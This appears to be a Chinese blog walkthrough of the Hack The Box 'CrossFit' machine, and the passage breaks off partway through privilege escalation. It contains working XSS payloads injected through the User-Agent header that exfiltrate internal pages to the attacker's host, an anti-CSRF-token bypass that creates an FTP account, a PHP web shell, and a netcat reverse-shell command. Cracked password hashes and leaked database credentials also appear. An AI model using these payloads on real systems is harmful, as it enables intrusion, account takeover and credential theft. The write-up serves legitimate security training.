抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >
Web XSS CSRF JavaScript CORS SFTP信息泄漏 内网子域收集

第一次刷 Hack The Box,因为看到别人写的WP,好像很好玩,然后就心里痒痒的~

然后随便调了个顺眼的…结果玩着玩着才发现是 insane 难度。。。。

吐槽:卡死了…加载一些静态资源….特别是和google有关的,所以直接 SwitchyOmega 安排上,把google相关的挂代理,速度就起飞了。

信息收集

这里被分配到的IP为 10.10.10.208

端口扫描

1
nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.10.208

参数说明[1][2]

  • -p- 全端口扫描缩写,特点是巨慢…(300ms延迟约需1个小时)

  • -sV 扫描目标主机和端口上运行的软件的版本,但不扫描开放端口,nmap默认使用 -sT 扫描

    • -sT TCP扫描
    • -sU UDP扫描,UDP 扫描发送 UDP 数据包到目标主机,并等待响应。如果返回 ICMP 不可达的错误消息,说明端口是关闭的
    • -sS 使用SYN半开放扫描[2]
    • -sP ping扫描,用类似ping的方式发现主机
    • -sF FIN 扫描也不会在目标主机上创建日志(FIN扫描的优势之一),如果收到一个RST报文,该端口被认为是 closed(关闭的),而没有响应则意味着 端口是open|filtered(开放或者被过滤的)
    • 其余扫描方式可见官网端口扫描技术
  • -sC 根据端口识别的服务,调用默认脚本

  • -T4,设置时间模板,共6个,依次为

    • 0 paranoid 和 1 sneaky 模式用于IDS躲避
    • 2 Polite 模式降低了扫描 速度以使用更少的带宽和目标主机资源。
    • 3 Normal 为默认模式,因此-T3 实际上是未做任何优化。
    • 4 Aggressive 模式假设用户具有合适及可靠的网络从而加速扫描.
    • 5 insane 模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。

使用其他工具交叉扫描

1
masscan 10.10.10.208 --ports 0-65535

没啥发现

端口扫描结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
> nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.10.208
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 11:37 CST
Warning: 10.10.10.208 giving up on port because retransmission cap hit (6).
Stats: 0:15:50 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 22.97% done; ETC: 12:46 (0:53:06 remaining)
Nmap scan report for 10.10.10.208
Host is up (0.30s latency).
Not shown: 65511 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| Not valid before: 2020-04-30T19:16:46
|_Not valid after: 3991-08-16T19:16:46
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b0:e7:5f:5f:7e:5a:4f:e8:e4:cf:f1:98:01:cb:3f:52 (RSA)
| 256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA)
|_ 256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1918/tcp filtered can-nds
4465/tcp filtered unknown
5392/tcp filtered unknown
7487/tcp filtered unknown
8161/tcp filtered patrol-snmp
14933/tcp filtered unknown
16477/tcp filtered unknown
24729/tcp filtered unknown
27866/tcp filtered unknown
31979/tcp filtered unknown
40147/tcp filtered unknown
41161/tcp filtered unknown
42569/tcp filtered unknown
44322/tcp filtered pmcdproxy
47236/tcp filtered unknown
51658/tcp filtered unknown
52857/tcp filtered unknown
57857/tcp filtered unknown
61414/tcp filtered unknown
62126/tcp filtered unknown
64845/tcp filtered unknown
Service Info: Host: Cross; OS: Linux; CPE: cpe:/o:linux:linux_kernel

弱口令

然后也用了 fscan 对 ftp 和 ssh 弱口令进行排查

1
fscan -h 10.10.10.208

目录爆破,啥都没,好家伙,做到这就没思路了

sftp敏感信息泄漏

掌握一个新姿势,vsftp 证书签名可能会有敏感信息

1
openssl s_client -connect 10.10.10.208:21 -starttls ftp

image-20210808171519802

得到邮箱地址和子域

1
2
*.crossfit.htb
emailAddress = info@gym-club.crossfit.ht

然后把这个子域加到我们本机host 上,然后用子域访问..

1
echo "10.10.10.208 gym-club.crossfit.htb" >> /etc/hosts

进一步信息搜集

访问得到一个健身俱乐部页面,首页最下面和联系我们的页面,题目标签是XSS、CSRF,盲猜这两至少一处有XSS

用 burp 的 instereting files and directories 扫了扫目录,有个 readme.txt ,不过内容是关于wordpress 的 colorlib 主题的 readme,没什么收获

emmm,看了WP发现用的 dirburst的字典,自用35w字典没找到… 这里官方WP使用 gobuster,我这里用的自己写的小工具,虽然用了协程,但速度完全比不上go的,,差了1倍….

image-20210808170432327

发现目录信息泄漏

image-20210808170812474

不过访问后 http://gym-club.crossfit.htb/security_threat/report.php

1
Your are not allowed to access this page.

Web漏洞利用

验证 XSS

对这两个输入框打了下,发现好像不出网…(burp进行了一次URL编码,最后抓包改一下包为编码前的数据)

1
<img src="kmy9o4.dnslog.cn">

然后在 http://gym-club.crossfit.htb/blog-single.php 页面下面的评论区发现疑似 xss 点,在内容处输入

1
<img src=1 onerror=alert(1)>

image-20210808172032797

这里还说明了还会记录我们的 IP 信息和浏览器信息(猜测为UA),那管理员当然也能看到 (

一开始想了半天怎么利用xss,后来发现靶机IP是可以直接访问到我们的….啊这….

那直接监听本机 80 端口咯

1
nc -lv 0.0.0.0 80

然后评论区内容不变,更改UA为

1
<img src="http://10.10.14.3">

其中 src 的 IP 为本机被 openvpn 分配的 IP

image-20210808172910089

毕竟都检测XSS了,那我们评论区输入的内容输出肯定被编码的,2333 然后这里用 UA,可以,很强势!

那有时渗透能用 XFF,毕竟一般惯性思维(指开发),这两个参数,不会被输入恶意字符

image-20210808173032809

尝试获取Cookie

1
User-Agent: <svg/onload="javascript:document.location.href=('http://10.10.14.3?cookie='+btoa(document.cookie))">

不过啥都没返回

image-20210808174556286

应该是管理员端设置了httponly,导致不能document.cookie不能[3]获取Cookie

尝试 XSS+XHR

虽然不能获取管理员cookie,但我们可以利用管理员的身份通过XMLHttpRequests请求我们请求不到资源。就管理员访问我们构造的 JS 异步请求代码,他就会带上他的 Cookie 请求我们无法请求的资源,然后把结果返回给我们,这不就常用的XSS+CSRF(SSRF)组合拳,哈哈。

那请求啥页面我们请求不到的呢? 比如刚刚的 security_threat/report.php

参考2019UNCTF[4],将以下代码保存为 payload0.js(下面 IP 变为 10.10.14.13 是因为openvpn断了,所以我本机IP变了)

1
2
3
4
5
6
7
8
9
10
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://10.10.14.13:2233/", false);
xhr2.send(this.responseText);
}
};
xhr.open("GET", "http://gym-club.crossfit.htb/security_threat/report.php", false);
xhr.send();

远程要加载我们的代码,肯定要起一个HTTP服务

1
python3 -m http.server 80

然后获取返回数据为 2233 端口

1
nc -lvvp 2233

构造UA

1
<script src="http://10.10.14.13/payload0.js">

发送请求(一次接收不到数据可以多试两次,可能是网络环境不稳定原因?)

image-20210812235755982

不过好像没啥有用的东西,就一个查看日志的页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST / HTTP/1.1
Host: 10.10.14.13:2233
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://gym-club.crossfit.htb/security_threat/report.php
Content-Type: text/plain;charset=UTF-8
Content-Length: 343
Origin: http://gym-club.crossfit.htb
Connection: keep-alive

<!DOCTYPE html>
<html>
<head>
<title>Security Report</title>
<style>
table, th, td {
border: 1px solid black;
}
</style>
</head>
<body>
<h4>Logged XSS attempts</h4>
<table>
<thead>
<tr>
<td>Timestamp</td>
<td>User Agent</td>
<td>IP Address</td>
</tr>
</thead>
<tbody>
</tbody>
</body>
</html>

先跟着wp走吧~

同源信息收集

因为目录爆破没找到啥可通过XMLHttpRequests利用的,所以把目标指向子域,这里通过 wfuzz 进行

1
wfuzz -w ~/Desktop/subdomains-top1mil-110000.txt -H "Host: FUZZ.crossfit.htb" --hh 10701 http://10.10.10.208

其中

  • 字典 kali有 sudo find / | grep subdomains-top1mil-110000.txt

  • FUZZ 是占位符,字典要替换的部分

  • –hh 是隐藏 Chars部分,即页面内容的字符,这里隐藏 Apache页面返回 10701字符的结果,如果不隐藏会出现一堆 Apache 页面的结果 (

  • 原来 http 的 header Host 字段是干这个用的,apache等中间件通过Host来匹配对应的虚拟主机 (

不过扫描结果好像没啥有用的.. 有返回的返回码都是400(可能请求频率太快了)

仔细一想,既然我们要跨源请求,直接找子域名肯定行不通的,由于同源策略的原因,就算管理员访问了带有XSS代码的页面,浏览器肯定不让xhr接收源B的返回信息,直接拦截。所以现在目标变成了:找到一个子域名,能让gym-club.crossfit.htb 跨源请求,这样才能把信息待会给我们。

但问题是,,如何才能找到这个子域名…

WP有个很骚的想法:我们要找的子域名如果能让 gym-club.crossfit.htb 跨源请求,那么 gym-club.crossfit.htb 是否也能被我们要找的子域名跨源请求呢?

知道这个有啥用呢?根据同源策略,如果源A可以跨源请求源B,那么在源A跨源请求源B设置HTTP请求头的Origin字段为源B的域名(这个和用户浏览器在源B站向源A站发送请求的数据包是一样的),源B的HTTP返回包 Access-Control-Allow-Origin 字段会显示 源B 的域名,这样用户浏览器在源B向源A请求获取返回数据时,浏览器看到 Access-Control-Allow-Origin 字段为源B的域名(源B请求后端,Allow-Origin源B,不就同源了),就不会拦截,可正常接口到数据。

注意: 这些跨站点请求与浏览器发出的其他跨站点请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨站点请求的网站无需为这一新的 HTTP 访问控制特性担心。

– 摘自 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS

其实很好理解,好比用户在源A前端通过xhr发送请求至源A后端,同源嘛,那Origin就是源A嘛,源A后端看到这个Orgin返回的 Access-Control-Allow-Origin 为源A,同源了,浏览器能正常接收数据,没问题。那源B前端通过xhr发送请求至源A后端,Origin是源B,然后返回的 Access-Control-Allow-Origin 为源B,也就是源B前端请求,后端返回源B,也同源,浏览器能正常接收数据。

当然这个是要在源A的后端代码或配置文件配置的,即哪些源是我们可信的。

也就是说,找到同源的子域,我们的XSS就可以利用了!因为如果能找到这个子域名,gym-club.crossfit.htb 向子域发出的 xhr是同源的,能正常获取数据,待 xmlhttp.readyState==4 ,即下载操作已完成时,就可以通过 responseText 获取返回的数据了,就我们就可以获取我们无权限或无法直接访问到的页面的内容啦。

那具体如何做呢?

1
wfuzz -w ~/Desktop/subdomains-top1mil-110000.txt -H "Origin: http://FUZZ.crossfit.htb" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://gym-club.crossfit.htb/
  • –filter 中的 str1~str2 表示str2是否在str1[5],即表示使用源 http://xxx.crossfit.htb 访问 http://gym-club.crossfit.htb/ ,如果 Access-Control-Allow-Origin 为 http://xxx.crossfit.htb ,说明源 http://xxx.crossfit.htb 可以跨源请求http://gym-club.crossfit.htb/ ,且用户在浏览器端可正常接口 http://gym-club.crossfit.htb/ 返回的数据。
  • 那为啥不是 r.headers.response~'Access-Control-Allow-Origin: http://FUZZ.crossfit.htb ? 正常来说,如果服务端没配置这个源访问,直接不会返回这个字段。匹配字段短点,速度也快点,虽然加上更严谨 (
  • PS: Origin: 记得别漏了 http://开头…不然服务端不会返回 Access-Control-Allow-Origin:

image-20210812230746214

好耶!也就是说 http://ftp.crossfit.htb 这个站是存在的

image-20210811234123168

把host文件更新一波

1
10.10.10.208 gym-club.crossfit.htb ftp.crossfit.htb

访问一下发现还是 apache 默认页面

image-20210811235550733

应该是这个域名只有内网才能访问,不过问题不大,我们可以让管理员帮我们去访问!

XSS -> CSRF

之前做过类似的,通过 XSS+XHR+SSRF 打 REDIS ,这里其实也是差不多,说是 XSS+CSRF,理解成 XSS+SSRF也是没问题的,毕竟是让管理员帮我们请求内网,即我们无法访问的资源嘛。

构造 js 代码,这里为了方便(UA写一大串也不美观,下面 IP 变为 10.10.14.11 是因为openvpn断了,所以我本机IP变了),把代码保存至 payload1.js

1
2
3
4
5
6
7
8
9
10
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://10.10.14.11:2233/", false);
xhr2.send(this.responseText);
}
};
xhr.open("GET", "http://ftp.crossfit.htb", false);
xhr.send();

上述代码用处为让管理员帮我们请求 http://ftp.crossfit.htb ,并把源码返回给我们,其中 open() 第三个参数为是否进行异步操作,默认为true,如果值为falsesend()方法直到收到答复前不会返回[6]

起一个HTTP服务

1
python3 -m http.server 80

然后获取返回数据为 2233 端口

1
nc -lvvp 2233

构造UA

1
User-Agent: <img src=x onerror="document.body.appendChild(document.createElement('script')).src='//10.10.14.11/payload1.js'">

请求(一次接收不到数据可以多试两次,可能是网络环境不稳定原因?)

image-20210812003015028

成功获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
POST / HTTP/1.1
Host: 10.10.14.11:2233
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://gym-club.crossfit.htb/security_threat/report.php
Content-Type: text/plain;charset=UTF-8
Content-Length: 886
Origin: http://gym-club.crossfit.htb
Connection: keep-alive

<!DOCTYPE html>
<html>
<head>
<title>FTP Hosting - Account Management</title>
<link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css" rel="stylesheet">
</head>
<body>
<br>
<div class="container">
<div class="row">
<div class="col-lg-12 margin-tb">
<div class="pull-left">
<h2>FTP Hosting - Account Management</h2>
</div>
<div class="pull-right">
<a class="btn btn-success" href="http://ftp.crossfit.htb/accounts/create"> Create New Account</a>
</div>
</div>
</div>
<table class="table table-bordered">
<tr>
<th>No</th>
<th>Username</th>
<th>Creation Date</th>
<th width="280px">Action</th>
</tr>
</table>
</div>
</body>
</html>

看 Referer 字段,原来管理员一直在看我们目录爆破出来 http://gym-club.crossfit.htb/security_threat/report.php 路径

源码本地打开

image-20210813000115657

原来如此,原来是,管理ftp服务帐号的,怪不得,ftp的openssl信息里有 gym-club.crossfit.htb 域名相关的,,原来是一个网站一个ftp帐号之类的?

如果是的话,我们就可以通过构造数据包,创建一个ftp帐号,然后应该就可以访问网站根目录,在上传一句话getshell,计划通~

payload2.js 改为(至于为啥不像之前用POST而用GET,这里遇到了个问题,见遇到的问题1

1
2
3
4
5
6
7
8
9
10
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
var xhr2 = new XMLHttpRequest();
xhr2.open("GET", "http://10.10.14.4:2233/" + btoa(this.responseText), true);
xhr2.send();
}
};
xhr.open("GET", "http://ftp.crossfit.htb/accounts/create", false);
xhr.send();

image-20210814115200480

这里接收到的为base64编码后的,即 JavaScriptbtoa方法

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<!DOCTYPE html>
<html>
<head>
<title>FTP Hosting - Account Management</title>
<link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css" rel="stylesheet">
</head>
<body>
<br>
<div class="container">
<div class="row">
<div class="col-lg-12 margin-tb">
<div class="pull-left">
<h2>Add New Account</h2>
</div>
<div class="pull-right">
<a class="btn btn-primary" href="http://ftp.crossfit.htb/accounts"> Back</a>
</div>
</div>
</div>
<form action="http://ftp.crossfit.htb/accounts" method="POST">
<input type="hidden" name="_token" value="z9lTdbVfj0SAZjWoyUWLoWPEnRTXesPM2rt4n8No">
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<div class="form-group">
<strong>Username:</strong>
<input type="text" name="username" class="form-control" placeholder="Username">
</div>
</div>
<div class="col-xs-12 col-sm-12 col-md-12">
<div class="form-group">
<strong>Password:</strong>
<input type="password" name="pass" class="form-control" placeholder="Password">
</div>
</div>
<div class="col-xs-12 col-sm-12 col-md-12 text-center">
<button type="submit" class="btn btn-primary">Submit</button>
</div>
</div>
</form>
</div>
</body>
</html>

还有token,尝试两次,发现token会变,不能直接CSRF,好家伙…

一般来说,token是与会话绑定的,不同的会话token不一样,相同会话token一致,也就是说我们要通过xhr保持同一个会话,而不是先拿了token,等下 一次请求,会话不一致,还是创建不了帐号。

结合 xss bypass anti-csrf-token 进行 CSRF

攻击流程如下

  • 获取 /accounts/create 页面
  • 解析返回页面dom节点获取 _token
  • 带上 _tokenhttp://ftp.crossfit.htb/accounts 接口发送 POST请求,并创建一个帐号密码为 tari/tari 的帐号
  • 把请求结果待会本机监听的 nc 端口

构造payload3.js,获取token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4) {
// 通过解析 /accounts/create 页面 DOM 节点获取 _token
var parser = new DOMParser();
var doc = parser.parseFromString(this.responseText, "text/html");
var token = doc.getElementsByName('_token')[0].value;
// 返回 _token 给本机监听的 nc 端口
var xhr2 = new XMLHttpRequest();
xhr2.open("GET", "http://10.10.14.4:2233/" + token, false);
xhr2.send();
}
};
// 获取 /accounts/create 页面
xhr.open("GET", "http://ftp.crossfit.htb/accounts/create", false);
xhr.withCredentials = true;
xhr.send();

正常获取

image-20210814145932159

构造payload4.js,这里注意需要设置 withCredentials = true 才能保证两个他们在同一会话中,见遇到的问题2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4) {
// 通过解析 /accounts/create 页面 DOM 节点获取 _token
var parser = new DOMParser();
var doc = parser.parseFromString(this.responseText, "text/html");
var token = doc.getElementsByName('_token')[0].value;

var xhr2 = new XMLHttpRequest();
xhr2.onreadystatechange = function() {
if (this.readyState == 4) {
// 3)创建结果返回给本机监听的 nc 端口
var xhr3 = new XMLHttpRequest();
xhr3.open("GET", "http://10.10.14.4:2233/" + btoa(this.responseText), false);
xhr3.send();
}
};
// 2)带上 _token 创建 tari 用户
xhr2.open("POST", "http://ftp.crossfit.htb/accounts", false);
xhr2.withCredentials = true;
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var params = "username=tari&pass=tari&_token=" + token;
xhr2.send(params);
}
};
// 1) 获取 /accounts/create 页面
xhr.open("GET", "http://ftp.crossfit.htb/accounts/create", false);
xhr.withCredentials = true;
xhr.send();

ok

image-20210814154031001

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!DOCTYPE html>

<html>
<head>
<title>FTP Hosting - Account Management</title>
<link href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha/css/bootstrap.css" rel="stylesheet">
</head>
<body>
<br>
<div class="container">
<div class="row">
<div class="col-lg-12 margin-tb">
<div class="pull-left">
<h2>FTP Hosting - Account Management</h2>
</div>
<div class="pull-right">
<a class="btn btn-success" href="http://ftp.crossfit.htb/accounts/create"> Create New Account</a>
</div>
</div>
</div>
<div class="alert alert-success">
<p>Account created successfully.</p>
</div>
<table class="table table-bordered">
<tr>
<th>No</th>
<th>Username</th>
<th>Creation Date</th>
<th width="280px">Action</th>
</tr>
<tr>
<td>1</td>
<td>tari</td>
<td>2021-08-14 07:39:54</td>
<td>
<form action="http://ftp.crossfit.htb/accounts/72" method="POST">
<a class="btn btn-info" href="http://ftp.crossfit.htb/accounts/72">Show</a>
<a class="btn btn-primary" href="http://ftp.crossfit.htb/accounts/72/edit">Edit</a>

<input type="hidden" name="_token" value="BO5j5UOlBonjTsv0Y317c3t3G1JJyoZ6hdbw6cLm">
<input type="hidden" name="_method" value="DELETE">
<button type="submit" class="btn btn-danger">Delete</button>
</form>
</td>
</tr>
<tr>
<td>2</td>
<td>sheeraz</td>
<td>2021-08-14 07:32:44</td>
<td>
<form action="http://ftp.crossfit.htb/accounts/71" method="POST">
<a class="btn btn-info" href="http://ftp.crossfit.htb/accounts/71">Show</a>
<a class="btn btn-primary" href="http://ftp.crossfit.htb/accounts/71/edit">Edit</a>

<input type="hidden" name="_token" value="BO5j5UOlBonjTsv0Y317c3t3G1JJyoZ6hdbw6cLm">
<input type="hidden" name="_method" value="DELETE">
<button type="submit" class="btn btn-danger">Delete</button>
</form>
</td>
</tr>
</table>
</div>
</body>
</html>

创建成功了。

image-20210814154222759

之前说过,这个应该是网站部署的vsftp帐号,尝试通过 tari/tari 登录

image-20210814155722576

命令行的话需要下载 lftp 才能连,ftp没有支持 SSL协议

1
2
3
4
set ftp:ssl-force true
set ssl:verify-certificate no
connect 10.10.10.208
login tari tari

image-20210814160858543

连不了。。?不是,那我图形化怎么连上的?…. emm,过了两个小时又可以了,晕(破案了,好像机器会每隔一段时间清理用户和文件之类的,要重新打一下添加用户,然后就可以正常了~)

image-20210814184926796

看了下权限,除了 development-test 目录其他没法写权限。

GetShell

先写个PHP一句话进去,s.php 内容为

1
<?php system($_REQUEST['s']); ?>

根据命名规则,先试试 development-test.crossfit.htb 可不可以通过外网访问

image-20210814185306387

意料之中无法访问

image-20210814163119126

没事,我们文件上传上去了,可以通过 XSS+CSRF让管理员帮我们访问 (

payload5.js

1
2
3
xhr = new XMLHttpRequest();
xhr.open("GET", "http://development-test.crossfit.htb/s.php?s=nc+10.10.14.4+2233+-e+/bin/bash", false);
xhr.send();

成功反弹shell(一开始弹了半天,结果发现环境好像每隔一段时间会重置的….毕竟是共享环境2333)

image-20210814192606606

获取一个TTY shell,不然到时候提权了用户都切不了 (

1
python -c 'import pty;pty.spawn("/bin/bash")'; 

阶段总结

原本对同源策略、JSONP、httponly搞的模模糊糊的,以及他们的作用范围和利用方法,经过环境的调试,在看看以前看过的文章,怎样可行,怎样不可行,终于理解清楚了~

后渗透

权限提升 - 获取普通用户权限

1
./linux-exploit-suggester.sh: line xxxx: cannot create temp file for here-document: No such file or directory

解决方式传送门

也没找到啥好用的,

从系统中找所有用户可读文件,这也太多了吧(

1
find / -xdev -type d -perm -0001 -ls

这个思路挺好的,看到 ansible 去找 playbook,不过就是输出太多,很容器看漏的…

这里安利一个开源项目

https://github.com/carlospolop/PEASS-ng

通过linpeas 很容易发现了个街上最靓的仔
image-20210814220220687

此外还发现了个isaac用户的计划任务,不过这个文件要 admins组才能编辑

1
*  *	* * *	isaac	/usr/bin/php /home/isaac/send_updates/send_updates.php

看一下文件,好像很厉害的权限的样子(竟然不是 root

image-20210814222201159

内核漏洞没有,看来只能爆破哈希了 (

有两个

1
/var/www/ftp/database/factories/UserFactory.php:$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

帐号是 hank

1
/etc/ansible/playbooks/adduser_hank.yml:$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/

谷歌一下前面的 $2y$6 特征,发现维基上有总结[7]

Scheme id Schema Example
DES Kyq4bCxAXJkbg
_ BSDi _EQ0.jzhSVeUyoSqLupI
1 MD5 $1$etNnh7FA$OlM7eljE/B7F1J4XYNnk81
2, 2a, 2x, 2y bcrypt $2a$10$VIhIOofSMqgdGlL4wzE//e.77dAQGqntF/1dT7bqCrVtquInWy2qi
3 NTHASH $3$$8846f7eaee8fb117ad06bdd830b7586c
5 SHA-256 $5$9ks3nNEqv31FX.F$gdEoLFsCRsn/WRN3wxUnzfeZLoooVlzeF4WjLomTRFD
6 SHA-512 $6$qoE2letU$wWPRl.PVczjzeMVgjiA8LLy2nOyZbf7Amj3qLIL978o18gbMySdKZ7uepq9tmMQXxyTIrS12Pln.2Q/6Xscao0
md5 Solaris MD5 $md5,rounds=5000$GUBv0xjJ$$mSwgIswdjlTY0YxV7HBVm0
sha1 PBKDF1 with SHA-1 $sha1$40000$jtNX3nZ2$hBNaIXkt4wBI2o5rsi8KejSjNqIq
y yescrypt $y$j9T$F5Jx5fExrKuPp53xLKQ..1$X3DX6M94c7o.9agCG9G317fhZg9SqC.5i5rd.RhAtQ7

对应两个哈希方式分别为 bcryptSHA-512

按之前玩国外CTF和靶机的经验,国外弱口令破解一般用 rockyou.txt ( kali 自动 sudo find / | grep rockyou.txt)

在 hashcat 上找对应哈希算法的值

1
2
3
4
5
6
7
8
9
10
hashcat --example-hashes | grep -i -A 1 -B 1 bcrypt
# 输出
# MODE: 3200
# TYPE: bcrypt $2*$, Blowfish (Unix)
# HASH: $2a$05$MBCzKhG1KhezLh.0LRa0Kuw12nLJtpHy6DIaU.JAnqJUDYspHC.Ou
hashcat --example-hashes | grep -i -A 1 -B 1 sha512
# 从输出中找到
# MODE: 1800
# TYPE: sha512crypt $6$, SHA512 (Unix)
# HASH: $6$72820166$U4DVzpcYxgw7MVVDGGvB2/H5lRistD5.Ah4upwENR5UtffLR4X4SxSzfREv8z6wVl0jRFX40/KnYVvK4829kD1

先试试 bcrypt 看着没那么费时间,没解出来

1
hashcat -m 3200 crossfit_bcrypt ~/Sec/Web/selffuzz/rockyou.txt -r /usr/local/Cellar/hashcat/6.1.1/share/doc/hashcat/rules/best64.rule --force
  • -m 哈希类型,通过 –example-hashes 查到的
  • crossfit_bcrypt 为文件,内容为我们要破解的哈希 $2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
  • -r 规则,即对原有字典的一些替换、移位和变异等[8],kali 上文件在 /usr/share/hashcat/rules/best64.rule
  • –force 忽略警告

SHA-512 破解得密码:powerpuffgirls

1
hashcat -m 1800 crossfit_sha512 ~/Sec/Web/selffuzz/rockyou.txt -r /usr/local/Cellar/hashcat/6.1.1/share/doc/hashcat/rules/best64.rule --force

image-20210815114056833

ssh 登录

1
ssh hank@10.10.10.208 

image-20210815120536153

权限提升 - 获取同组用户权限 (可选)

命令执行利用

  • /home/hank/有个 user.txt 不知道是啥来的,扔 cmd5 查不到

  • 发现可查看 isaac 用户的文件,里面有 send_updates/send_updates.php,刚好与 linpeas 发现的计划任务(/etc/crontab)对应,会每隔一分钟执行一遍,不过同组不可编辑,require进来的 includes/ 目录不可查看。该文件使用了一个外部依赖 use mikehaertl\shellcommand\Command;,发现一个外部可控的参数,$command->addArg($row['email'], $escape=true); 不过好像进行转义了

说起邮件,突然想起这个页面 http://gym-club.crossfit.htb/jointheclub.php ,难道说,就是提取的这个邮箱发送东西的?

image-20210815123203733

  • 原来 send_updates 也是用 Laravel 写的,查看 composer.json,发现 "mikehaertl/php-shellcommand": "1.6.0" 版本为 1.6.0。

先查查这个组件这个版本有没有nday,谷歌一下 mikehaertl/php-shellcommand 1.6.0,果然有[9]

issue44 给出了两种利用方式,我们这是邮箱可控($key),没有传入 value 值,并通过 addArg 指定了 $escape=true,好像,,,利用不了?见遇到的问题3 ,也就是 $escape 当作 $value 传入,导致 $key 没有被转移,进而导致命令注入

整理下思路:先看看 $row['email'] 可不可控,如果可控则可通过 isaac 身份执行的计划任务执行命令

尝试了一下,看了源码,filter_var($email, FILTER_VALIDATE_EMAIL) 可以进行绕过,不过好像插入了没反应,突然想到应该确认是不是真的写进去了,db.php 发现数据库密码,直接连上去

1
mysql -ucrossfit -p"oeLoo~y2baeni"

确实写进入了,而且为了也试了手动插入数据

1
insert into users (email) values ("123@qq.com||touch /tmp/pwn");

image-20210828183233102

没有成功执行命令

image-20210828184514854

仔细看了一下源码发现还有个文件遍历,要有文件才能执行下面的逻辑,但是这个 $msg_dir 未知,然后 includes/ 目录又没权限,晕…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
/***************************************************
* Send email updates to users in the mailing list *
***************************************************/
require("vendor/autoload.php");
require("includes/functions.php");
require("includes/db.php");
require("includes/config.php");
use mikehaertl\shellcommand\Command;

if($conn)
{
$fs_iterator = new FilesystemIterator($msg_dir);

foreach ($fs_iterator as $file_info)
{
if($file_info->isFile())
{
$full_path = $file_info->getPathname();
$res = $conn->query('SELECT email FROM users');
while($row = $res->fetch_array(MYSQLI_ASSOC))
{
$command = new Command('/usr/bin/mail');
$command->addArg('-s', 'CrossFit Club Newsletter', $escape=true);
$command->addArg($row['email'], $escape=true);

$msg = file_get_contents($full_path);
$command->setStdIn('test');
$command->execute();
}
}
unlink($full_path);
}
}

cleanup();
?>

寻找高权限FTP用户

文件路径,或许应该从文件服务入手,如果系统里有更高权限的ftp用户,或许就可以读 includes/ 目录的文件或写入文件至 $msg_dir ,然后使命令执行条件满足?

发现 ftp 也是 laravel,发现 .env 文件

1
2
3
cat /var/www/ftp/.env
